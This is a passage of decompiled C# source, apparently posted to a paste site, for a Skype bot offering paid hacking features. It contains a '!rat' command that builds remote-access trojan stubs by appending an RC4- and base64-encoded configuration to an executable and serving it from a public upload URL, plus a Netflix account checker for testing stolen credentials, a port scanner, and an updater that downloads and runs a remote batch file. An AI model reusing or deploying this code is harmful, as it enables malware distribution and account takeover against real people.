  7260.                             text5,
  7261.                             "=",
  7262.                             text6
  7263.                         });
  7264.                         num5++;
  7265.                     }
  7266.                     result = "No arguments in message option";
  7267.                     return result;
  7268.                     IL_204:
  7269.                     result = "No arguments expected in persistance option";
  7270.                     return result;
  7271.                     Block_12:
  7272.                     result = "No arguments in name option";
  7273.                     return result;
  7274.                     Block_14:
  7275.                     result = "No arguments in name option";
  7276.                     return result;
  7277.                     Block_16:
  7278.                     result = "No arguments in name option";
  7279.                     return result;
  7280.                     Block_17:
  7281.                     result = "Directory should end with a \\ and should be valid.";
  7282.                     return result;
  7283.                     IL_317:
  7284.                     result = "Invalid option: " + text5;
  7285.                     return result;
  7286.                     Block_18:
  7287.                     try
  7288.                     {
  7289.                         FileSystem.FileOpen(1, Application.StartupPath + "\\SBRC.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default, -1);
  7290.                         string text7 = Strings.Space((int)FileSystem.LOF(1));
  7291.                         FileSystem.FileGet(1, ref text7, -1L, false);
  7292.                         VBMath.Randomize();
  7293.                         int value = (int)Math.Round(Math.Ceiling((double)unchecked(VBMath.Rnd() * 9999f))) + 1;
  7294.                         FileSystem.FileClose(new int[]
  7295.                         {
  7296.                             1
  7297.                         });
  7298.                         FileSystem.FileOpen(1, string.Concat(new string[]
  7299.                         {
  7300.                             Application.StartupPath,
  7301.                             "\\",
  7302.                             text3.Replace("%20", " "),
  7303.                             Conversions.ToString(value),
  7304.                             ".exe"
  7305.                         }), OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default, -1);
  7306.                         string message = text2.Replace(" ", "@sb@");
  7307.                         FileSystem.FilePut(1, string.Concat(new string[]
  7308.                         {
  7309.                             text7,
  7310.                             "@sb@",
  7311.                             this.realbase64(Form1.rc4(message, text4)).ToString(),
  7312.                             "@sb@",
  7313.                             text4,
  7314.                             "@sb@",
  7315.                             this.realbase64(sender).ToString()
  7316.                         }), -1L, false);
  7317.                         FileSystem.FileClose(new int[]
  7318.                         {
  7319.                             1
  7320.                         });
  7321.                         result = "http://pomfme.com/SHIT/uploads/" + text3.Replace(" ", "%20") + Conversions.ToString(value) + ".exe";
  7322.                         return result;
  7323.                     }
  7324.                     catch (Exception expr_50A)
  7325.                     {
  7326.                         ProjectData.SetProjectError(expr_50A);
  7327.                         Exception ex = expr_50A;
  7328.                         result = Operators.ConcatenateObject("Error occured, maybe someone else was building a stub or name invalid!\r\nAn error occured, please report to skype:les.de?chat : \r\n", this.paste(string.Concat(new string[]
  7329.                         {
  7330.                             "Host: ",
  7331.                             this.Skypattach.CurrentUserHandle,
  7332.                             "\r\nSender: ",
  7333.                             sender,
  7334.                             "\r\nCmd: !rat ",
  7335.                             arguments,
  7336.                             "\r\nError: ",
  7337.                             ex.ToString()
  7338.                         }), "Error!"));
  7339.                         ProjectData.ClearProjectError();
  7340.                         return result;
  7341.                     }
  7342.                 }
  7343.                 flag2 = (Operators.CompareString(array[0], "buildoptions", true) == 0);
  7344.                 if (flag2)
  7345.                 {
  7346.                     result = MySettingsProperty.Settings.buildoptions;
  7347.                 }
  7348.                 else
  7349.                 {
  7350.                     result = "Invalid option.";
  7351.                 }
  7352.                 return result;
  7353.             }
  7354.         }
  7355.         public static string rc4(string message, string password)
  7356.         {
  7357.             int num = 0;
  7358.             int num2 = 0;
  7359.             StringBuilder stringBuilder = new StringBuilder();
  7360.             string result = string.Empty;
  7361.             int[] array = new int[257];
  7362.             int[] array2 = new int[257];
  7363.             int length = password.Length;
  7364.             int i = 0;
  7365.             checked
  7366.             {
  7367.                 while (i <= 255)
  7368.                 {
  7369.                     char @string = password.Substring(i % length, 1).ToCharArray()[0];
  7370.                     array2[i] = Strings.Asc(@string);
  7371.                     array[i] = i;
  7372.                     Math.Max(Interlocked.Increment(ref i), i - 1);
  7373.                 }
  7374.                 int num3 = 0;
  7375.                 int j = 0;
  7376.                 while (j <= 255)
  7377.                 {
  7378.                     num3 = (num3 + array[j] + array2[j]) % 256;
  7379.                     int num4 = array[j];
  7380.                     array[j] = array[num3];
  7381.                     array[num3] = num4;
  7382.                     Math.Max(Interlocked.Increment(ref j), j - 1);
  7383.                 }
  7384.                 i = 1;
  7385.                 while (i <= message.Length)
  7386.                 {
  7387.                     num = (num + 1) % 256;
  7388.                     num2 = (num2 + array[num]) % 256;
  7389.                     int num5 = array[num];
  7390.                     array[num] = array[num2];
  7391.                     array[num2] = num5;
  7392.                     int num6 = array[(array[num] + array[num2]) % 256];
  7393.                     char string2 = message.Substring(i - 1, 1).ToCharArray()[0];
  7394.                     num5 = Strings.Asc(string2);
  7395.                     int charCode = num5 ^ num6;
  7396.                     stringBuilder.Append(Strings.Chr(charCode));
  7397.                     Math.Max(Interlocked.Increment(ref i), i - 1);
  7398.                 }
  7399.                 result = stringBuilder.ToString();
  7400.                 stringBuilder.Length = 0;
  7401.                 return result;
  7402.             }
  7403.         }
  7404.         public object microsoftip(string IP)
  7405.         {
  7406.             object result;
  7407.             try
  7408.             {
  7409.                 bool flag = IP.ToLower().Contains("found");
  7410.                 if (flag)
  7411.                 {
  7412.                     result = false;
  7413.                 }
  7414.                 else
  7415.                 {
  7416.                     IP = IP.Replace("|", "");
  7417.                     IP = IP.Replace(" ", "");
  7418.                     WebClient webClient = new WebClient();
  7419.                     webClient.Proxy = null;
  7420.                     flag = IP.Contains(":");
  7421.                     if (flag)
  7422.                     {
  7423.                         string[] array = IP.Split(new char[]
  7424.                         {
  7425.                             ':'
  7426.                         });
  7427.                         IP = array[0];
  7428.                     }
  7429.                     string text = webClient.DownloadString("http://ip-api.com/csv/" + IP);
  7430.                     string[] array2 = text.Split(new char[]
  7431.                     {
  7432.                         ','
  7433.                     });
  7434.                     string text2 = array2[11].Replace("\"", "");
  7435.                     flag = text2.ToLower().Contains("microsoft");
  7436.                     if (flag)
  7437.                     {
  7438.                         result = "True" + IP;
  7439.                     }
  7440.                     else
  7441.                     {
  7442.                         result = "False";
  7443.                     }
  7444.                 }
  7445.             }
  7446.             catch (Exception arg_FF_0)
  7447.             {
  7448.                 ProjectData.SetProjectError(arg_FF_0);
  7449.                 result = "FalseErr";
  7450.                 ProjectData.ClearProjectError();
  7451.             }
  7452.             return result;
  7453.         }
  7454.         public static string GetMd5Hash(MD5 md5Hash, string input)
  7455.         {
  7456.             byte[] array = md5Hash.ComputeHash(Encoding.UTF8.GetBytes(input));
  7457.             StringBuilder stringBuilder = new StringBuilder();
  7458.             int arg_21_0 = 0;
  7459.             checked
  7460.             {
  7461.                 int num = array.Length - 1;
  7462.                 int num2 = arg_21_0;
  7463.                 while (true)
  7464.                 {
  7465.                     int arg_48_0 = num2;
  7466.                     int num3 = num;
  7467.                     if (arg_48_0 > num3)
  7468.                     {
  7469.                         break;
  7470.                     }
  7471.                     stringBuilder.Append(array[num2].ToString("x2"));
  7472.                     num2++;
  7473.                 }
  7474.                 return stringBuilder.ToString();
  7475.             }
  7476.         }
  7477.         public object getmicrosoftip(string IP)
  7478.         {
  7479.             IP = IP.Replace("|", "");
  7480.             IP = IP.Replace(" ", "");
  7481.             bool flag = IP.Contains(":");
  7482.             if (flag)
  7483.             {
  7484.                 string[] array = IP.Split(new char[]
  7485.                 {
  7486.                     ':'
  7487.                 });
  7488.                 IP = array[0];
  7489.             }
  7490.             string text = new WebClient
  7491.             {
  7492.                 Proxy = null
  7493.             }.DownloadString("http://ip-api.com/csv/" + IP);
  7494.             string[] array2 = text.Split(new char[]
  7495.             {
  7496.                 ','
  7497.             });
  7498.             string text2 = array2[11].Replace("\"", "");
  7499.             flag = text2.ToLower().Contains("microsoft");
  7500.             object result;
  7501.             if (flag)
  7502.             {
  7503.                 result = IP;
  7504.             }
  7505.             else
  7506.             {
  7507.                 result = "False";
  7508.             }
  7509.             return result;
  7510.         }
  7511.         private void Button1_Click(object sender, EventArgs e)
  7512.         {
  7513.             MySettingsProperty.Settings.banlist = MySettingsProperty.Settings.banlist + "\r\n" + this.TextBox1.Text;
  7514.         }
  7515.         private void Button2_Click(object sender, EventArgs e)
  7516.         {
  7517.             MySettingsProperty.Settings.banlist = MySettingsProperty.Settings.banlist.Replace("\r\n" + this.TextBox1.Text, "").Replace(this.TextBox1.Text, "");
  7518.         }
  7519.         private void Button3_Click(object sender, EventArgs e)
  7520.         {
  7521.             MySettingsProperty.Settings.helpmsg = this.TextBox2.Text;
  7522.         }
  7523.         public string GetExternalIp()
  7524.         {
  7525.             string result;
  7526.             try
  7527.             {
  7528.                 string text = new WebClient
  7529.                 {
  7530.                     Proxy = null
  7531.                 }.DownloadString("http://apis.skypebot.ga/apis/getip.php");
  7532.                 result = text;
  7533.             }
  7534.             catch (Exception arg_22_0)
  7535.             {
  7536.                 ProjectData.SetProjectError(arg_22_0);
  7537.                 result = null;
  7538.                 ProjectData.ClearProjectError();
  7539.             }
  7540.             return result;
  7541.         }
  7542.         private void Button4_Click(object sender, EventArgs e)
  7543.         {
  7544.             Interaction.MsgBox(MySettingsProperty.Settings.banlist, MsgBoxStyle.OkOnly, null);
  7545.         }
  7546.         private void FRReceived(User pUser)
  7547.         {
  7548.             bool @checked = this.FlatToggle1.Checked;
  7549.             if (@checked)
  7550.             {
  7551.                 pUser.IsAuthorized = true;
  7552.                 this.Skypattach.SendMessage(pUser.Handle, "Welcome! Type " + this.trigger + "help to get started!");
  7553.             }
  7554.         }
  7555.         private void dz(User pUser)
  7556.         {
  7557.             Interaction.MsgBox("qdf", MsgBoxStyle.OkOnly, null);
  7558.             bool @checked = this.FlatToggle1.Checked;
  7559.             if (@checked)
  7560.             {
  7561.                 pUser.IsAuthorized = true;
  7562.                 this.Skypattach.SendMessage(pUser.Handle, "Welcome! Type " + this.trigger + "help to get started!");
  7563.             }
  7564.         }
  7565.         private void Button5_Click(object sender, EventArgs e)
  7566.         {
  7567.             Interaction.MsgBox("Enter in the textbox below who you want to let use your bot, to let someone not use your bot use the ban thing above.\r\n\r\nIf you want everyone to use your bot, put %everyone% at the start, If you want specific people, then just type their name line by line.", MsgBoxStyle.OkOnly, null);
  7568.         }
  7569.         private void TextBox3_TextChanged(object sender, EventArgs e)
  7570.         {
  7571.             MySettingsProperty.Settings.whitelistlist = this.TextBox3.Text;
  7572.         }
  7573.         private void Button6_Click(object sender, EventArgs e)
  7574.         {
  7575.             string left = new WebClient
  7576.             {
  7577.                 Proxy = null
  7578.             }.DownloadString("https://www.dropbox.com/s/nc07ajdkck5lwdl/update.txt?dl=1");
  7579.             bool flag = Operators.CompareString(left, "5.1.0.7", true) == 0;
  7580.             if (flag)
  7581.             {
  7582.                 MyProject.Forms.Changelog.Show();
  7583.             }
  7584.             else
  7585.             {
  7586.                 Interaction.MsgBox("You are not on the latest version, please update...", MsgBoxStyle.OkOnly, null);
  7587.             }
  7588.         }
  7589.         public object portscan(string ip)
  7590.         {
  7591.             return new WebClient
  7592.             {
  7593.                 Proxy = null
  7594.             }.DownloadString("http://api.abrasivecraft.com/?tool=portscanner&ip=" + ip);
  7595.         }
  7596.         public string StripTags(string html)
  7597.         {
  7598.             return Regex.Replace(html, "<.*?>", "");
  7599.         }
  7600.         public object isportopen(string ip, string port)
  7601.         {
  7602.             TcpClient tcpClient = null;
  7603.             object result;
  7604.             try
  7605.             {
  7606.                 tcpClient = new TcpClient(ip, Conversions.ToInteger(port));
  7607.                 result = true;
  7608.             }
  7609.             catch (SocketException expr_1C)
  7610.             {
  7611.                 ProjectData.SetProjectError(expr_1C);
  7612.                 result = false;
  7613.                 ProjectData.ClearProjectError();
  7614.             }
  7615.             finally
  7616.             {
  7617.                 bool flag = tcpClient != null;
  7618.                 if (flag)
  7619.                 {
  7620.                     tcpClient.Close();
  7621.                 }
  7622.             }
  7623.             return result;
  7624.         }
  7625.         private void Button7_Click(object sender, EventArgs e)
  7626.         {
  7627.             this.UpdateMe(Conversions.ToString(1));
  7628.         }
  7629.         private void Button9_Click(object sender, EventArgs e)
  7630.         {
  7631.             WebClient webClient = new WebClient();
  7632.             webClient.Proxy = null;
  7633.             webClient.DownloadFile("https://www.dropbox.com/s/mdbef5odfcg5pog/SBUpdater.exe?dl=1", Directory.GetCurrentDirectory() + "\\Updater.exe");
  7634.             webClient.DownloadFile("https://www.dropbox.com/s/6qbvr7zahdmvl1r/Update.bat?dl=1", Directory.GetCurrentDirectory() + "\\Updater.bat");
  7635.             Process.Start(Directory.GetCurrentDirectory() + "\\Updater.bat");
  7636.             Application.Exit();
  7637.         }
  7638.         private void Button10_Click(object sender, EventArgs e)
  7639.         {
  7640.             Interaction.MsgBox("Add lesleydk@hotmail.com on skype and give me your problem :)", MsgBoxStyle.OkOnly, null);
  7641.         }
  7642.         private void Button12_Click(object sender, EventArgs e)
  7643.         {
  7644.             MySettingsProperty.Settings.admins = this.TextBox4.Text;
  7645.         }
  7646.         private void Button14_Click(object sender, EventArgs e)
  7647.         {
  7648.             MySettingsProperty.Settings.Ultimate = this.TextBox6.Text;
  7649.         }
  7650.         private void Button13_Click(object sender, EventArgs e)
  7651.         {
  7652.             MySettingsProperty.Settings.Premium = this.TextBox5.Text;
  7653.         }
  7654.         private void Button15_Click(object sender, EventArgs e)
  7655.         {
  7656.             MySettingsProperty.Settings.whitelist = this.TextBox7.Text;
  7657.         }
  7658.         private void FlatToggle2_CheckedChanged(object sender)
  7659.         {
  7660.             bool flag = this.FlatToggle2.Checked;
  7661.             if (flag)
  7662.             {
  7663.                 MySettingsProperty.Settings.prult = Conversions.ToString(1);
  7664.             }
  7665.             else
  7666.             {
  7667.                 flag = !this.FlatToggle2.Checked;
  7668.                 if (flag)
  7669.                 {
  7670.                     MySettingsProperty.Settings.prult = Conversions.ToString(0);
  7671.                 }
  7672.             }
  7673.         }
  7674.         private void ShowHideToolStripMenuItem1_Click(object sender, EventArgs e)
  7675.         {
  7676.             bool flag = this.WindowState == FormWindowState.Minimized;
  7677.             if (flag)
  7678.             {
  7679.                 this.Show();
  7680.                 this.Activate();
  7681.                 this.WindowState = FormWindowState.Normal;
  7682.             }
  7683.             else
  7684.             {
  7685.                 this.Hide();
  7686.                 this.WindowState = FormWindowState.Minimized;
  7687.             }
  7688.         }
  7689.         public void l()
  7690.         {
  7691.             double num = 0.0;
  7692.             double arg_3B_0;
  7693.             double num2;
  7694.             do
  7695.             {
  7696.                 this.Opacity = num;
  7697.                 this.Refresh();
  7698.                 Thread.Sleep(50);
  7699.                 num += 0.1;
  7700.                 arg_3B_0 = num;
  7701.                 num2 = 1.1;
  7702.             }
  7703.             while (arg_3B_0 <= num2);
  7704.             this.Show();
  7705.         }
  7706.         private void ExitToolStripMenuItem1_Click(object sender, EventArgs e)
  7707.         {
  7708.             Application.Exit();
  7709.         }
  7710.         private void FlatButton1_Click(object sender, EventArgs e)
  7711.         {
  7712.             MySettingsProperty.Settings.Save();
  7713.             this.Hide();
  7714.             this.WindowState = FormWindowState.Minimized;
  7715.         }
  7716.         private void FlatButton2_Click(object sender, EventArgs e)
  7717.         {
  7718.             new WebClient
  7719.             {
  7720.                 Proxy = null
  7721.             }.DownloadString(string.Concat(new string[]
  7722.             {
  7723.                 "http://apis.skypebot.ga/apis/submit.php?idea=",
  7724.                 this.FlatTextBox2.Text,
  7725.                 "&skp=",
  7726.                 this.FlatTextBox1.Text,
  7727.                 "&auth=True"
  7728.             }));
  7729.             Interaction.MsgBox("We will maybe contact you later, thanks!", MsgBoxStyle.OkOnly, null);
  7730.         }
  7731.         public object POST(string api, string content)
  7732.         {
  7733.             return new WebClient
  7734.             {
  7735.                 Proxy = null,
  7736.                 Headers =
  7737.                 {
  7738.                    
  7739.                     {
  7740.                         HttpRequestHeader.ContentType,
  7741.                         "application/x-www-form-urlencoded"
  7742.                     }
  7743.                 }
  7744.             }.UploadString(api, content);
  7745.         }
  7746.         public object paste(string content, string title = "Untitled")
  7747.         {
  7748.             object result;
  7749.             try
  7750.             {
  7751.                 WebClient webClient = new WebClient();
  7752.                 webClient.Proxy = null;
  7753.                 WebRequest webRequest = WebRequest.Create("http://skypepaste.ga/pages/api.php");
  7754.                 webRequest.Method = "POST";
  7755.                 string s = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject("text=", this.encrypt(content)), "&title="), title));
  7756.                 byte[] bytes = Encoding.UTF8.GetBytes(s);
  7757.                 webRequest.ContentType = "application/x-www-form-urlencoded";
  7758.                 webRequest.ContentLength = (long)bytes.Length;
  7759.                 Stream stream = webRequest.GetRequestStream();
  7760.                 stream.Write(bytes, 0, bytes.Length);
  7761.                 stream.Close();
  7762.                 WebResponse response = webRequest.GetResponse();
  7763.                 Console.WriteLine(((HttpWebResponse)response).StatusDescription);
  7764.                 stream = response.GetResponseStream();
  7765.                 StreamReader streamReader = new StreamReader(stream);
  7766.                 string text = streamReader.ReadToEnd();
  7767.                 streamReader.Close();
  7768.                 stream.Close();
  7769.                 response.Close();
  7770.                 result = text;
  7771.             }
  7772.             catch (Exception expr_E4)
  7773.             {
  7774.                 ProjectData.SetProjectError(expr_E4);
  7775.                 result = this.paste2(content);
  7776.                 ProjectData.ClearProjectError();
  7777.             }
  7778.             return result;
  7779.         }
  7780.         public object dice()
  7781.         {
  7782.             float num;
  7783.             while (true)
  7784.             {
  7785.                 VBMath.Randomize();
  7786.                 num = Conversion.Int(VBMath.Rnd() * 7f);
  7787.                 bool flag = num == 7f;
  7788.                 if (!flag)
  7789.                 {
  7790.                     flag = (num == 0f);
  7791.                     if (!flag)
  7792.                     {
  7793.                         break;
  7794.                     }
  7795.                 }
  7796.             }
  7797.             return num;
  7798.         }
  7799.         public object encrypt(string t)
  7800.         {
  7801.             return Convert.ToBase64String(Encoding.UTF8.GetBytes(t)).Replace("+", "-").Replace("/", "_");
  7802.         }
  7803.         public object decrypt(string t)
  7804.         {
  7805.             t = t.Replace("-", "+").Replace("_", "/");
  7806.             return Encoding.UTF8.GetString(Convert.FromBase64String(t));
  7807.         }
  7808.         public object paste2(string content)
  7809.         {
  7810.             string text = "content=" + content + "&lexer=text&ttl=31536000&key=";
  7811.             HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create("https://pastee.org/submit");
  7812.             httpWebRequest.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.72 Safari/537.36";
  7813.             httpWebRequest.AllowAutoRedirect = true;
  7814.             httpWebRequest.ContentType = "application/x-www-form-urlencoded";
  7815.             httpWebRequest.ContentLength = (long)text.Length;
  7816.             httpWebRequest.Method = "POST";
  7817.             httpWebRequest.KeepAlive = true;
  7818.             Stream requestStream = httpWebRequest.GetRequestStream();
  7819.             byte[] bytes = Encoding.ASCII.GetBytes(text);
  7820.             requestStream.Write(bytes, 0, bytes.Length);
  7821.             requestStream.Close();
  7822.             HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();
  7823.             HttpWebResponse httpWebResponse2 = (HttpWebResponse)httpWebRequest.GetResponse();
  7824.             string absoluteUri = httpWebResponse2.ResponseUri.AbsoluteUri;
  7825.             return absoluteUri.Replace("/preview", "");
  7826.         }
  7827.         public void fdsqf()
  7828.         {
  7829.             this.TopMost = false;
  7830.         }
  7831.         private void CheckBox6c(object sender, EventArgs e)
  7832.         {
  7833.             bool @checked = this.CheckBox6.Checked;
  7834.             if (@checked)
  7835.             {
  7836.                 this.adminst = true;
  7837.             }
  7838.             else
  7839.             {
  7840.                 this.adminst = false;
  7841.             }
  7842.         }
  7843.         private void CheckBox1_CheckedChanged(object sender, EventArgs e)
  7844.         {
  7845.             bool @checked = this.CheckBox1.Checked;
  7846.             if (@checked)
  7847.             {
  7848.                 this.swag = true;
  7849.             }
  7850.             else
  7851.             {
  7852.                 this.swag = false;
  7853.             }
  7854.         }
  7855.         private void FlatButton3_Click(object sender, EventArgs e)
  7856.         {
  7857.             MyProject.Application.SaveMySettingsOnExit = true;
  7858.             MySettingsProperty.Settings.Save();
  7859.             Application.ExitThread();
  7860.         }
  7861.         public string Nfcheck(string user, string pass)
  7862.         {
  7863.             string result;
  7864.             try
  7865.             {
  7866.                 NetflixChecker netflixChecker = new NetflixChecker();
  7867.                 string value = Conversions.ToString(netflixChecker.AccountValid(user, pass));
  7868.                 bool flag = Conversions.ToBoolean(value);
  7869.                 if (flag)
  7870.                 {
  7871.                     result = "1";
  7872.                 }
  7873.                 else
  7874.                 {
  7875.                     result = "0";
  7876.                 }
  7877.             }
  7878.             catch (Exception arg_36_0)
  7879.             {
  7880.                 ProjectData.SetProjectError(arg_36_0);
  7881.                 result = "err";
  7882.                 ProjectData.ClearProjectError();
  7883.             }
  7884.             return result;
  7885.         }
  7886.         public bool IsIpValid(string strIPAddress)
  7887.         {
  7888.             IPAddress iPAddress = null;
  7889.             return IPAddress.TryParse(strIPAddress, out iPAddress);
  7890.         }
  7891.         public object base64fenc(string data)
  7892.         {
  7893.             return Convert.ToBase64String(Encoding.UTF8.GetBytes(data));
  7894.         }
  7895.         public object realbase64(string dataz)
  7896.         {
  7897.             return this.base64fenc(Conversions.ToString(this.base64fenc(Conversions.ToString(this.base64fenc(dataz)))));
  7898.         }
  7899.         public object Crawl(string Page)
  7900.         {
  7901.             return new WebClient
  7902.             {
  7903.                 Proxy = null
  7904.             }.DownloadString("http://api.hackertarget.com/pagelinks/?q=" + Page).Replace(" ", "%20").Replace("  ", "%20%20");
  7905.         }
  7906.         private void TextBox7_TextChanged(object sender, EventArgs e)
  7907.         {
  7908.             bool flag = Operators.CompareString(MyProject.Forms.splsh.startup, "0", true) == 0;
  7909.             if (!flag)
  7910.             {
  7911.                 MySettingsProperty.Settings.whitelist = this.TextBox7.Text;
  7912.                 MySettingsProperty.Settings.Save();
  7913.             }
  7914.         }
  7915.         private void TextBox4_TextChanged(object sender, EventArgs e)
  7916.         {
  7917.             bool flag = Operators.CompareString(MyProject.Forms.splsh.startup, "0", true) == 0;
  7918.             if (!flag)
  7919.             {
  7920.                 MySettingsProperty.Settings.admins = this.TextBox4.Text;
  7921.                 MySettingsProperty.Settings.Save();
  7922.             }
  7923.         }
  7924.         private void TextBox6_TextChanged(object sender, EventArgs e)
  7925.         {
  7926.             bool flag = Operators.CompareString(MyProject.Forms.splsh.startup, "0", true) == 0;
  7927.             if (!flag)
  7928.             {
  7929.                 MySettingsProperty.Settings.Ultimate = this.TextBox6.Text;
  7930.                 MySettingsProperty.Settings.Save();
  7931.             }
  7932.         }
  7933.         private void TextBox5_TextChanged(object sender, EventArgs e)
  7934.         {
  7935.             bool flag = Operators.CompareString(MyProject.Forms.splsh.startup, "0", true) == 0;
  7936.             if (!flag)
  7937.             {
  7938.                 MySettingsProperty.Settings.Premium = this.TextBox5.Text;
  7939.                 MySettingsProperty.Settings.Save();
  7940.             }
  7941.         }
  7942.         private void FlatButton4_Click(object sender, EventArgs e)
  7943.         {
  7944.             Interaction.MsgBox(new WebClient
  7945.             {
  7946.                 Proxy = null
  7947.             }.DownloadString("https://www.dropbox.com/s/w0nv1t0eu6xqm8l/EULA.txt?dl=1"), MsgBoxStyle.OkOnly, null);
  7948.         }
  7949.         [DebuggerStepThrough, CompilerGenerated]
  7950.         private void _Lambda$__1(object a0, EventArgs a1)
  7951.         {
  7952.             this.l();
  7953.         }
  7954.         [DebuggerStepThrough, CompilerGenerated]
  7955.         private void _Lambda$__2(object a0, EventArgs a1)
  7956.         {
  7957.             this.fdsqf();
  7958.         }
  7959.     }
  7960. }
Add Comment
Please, Sign In to add comment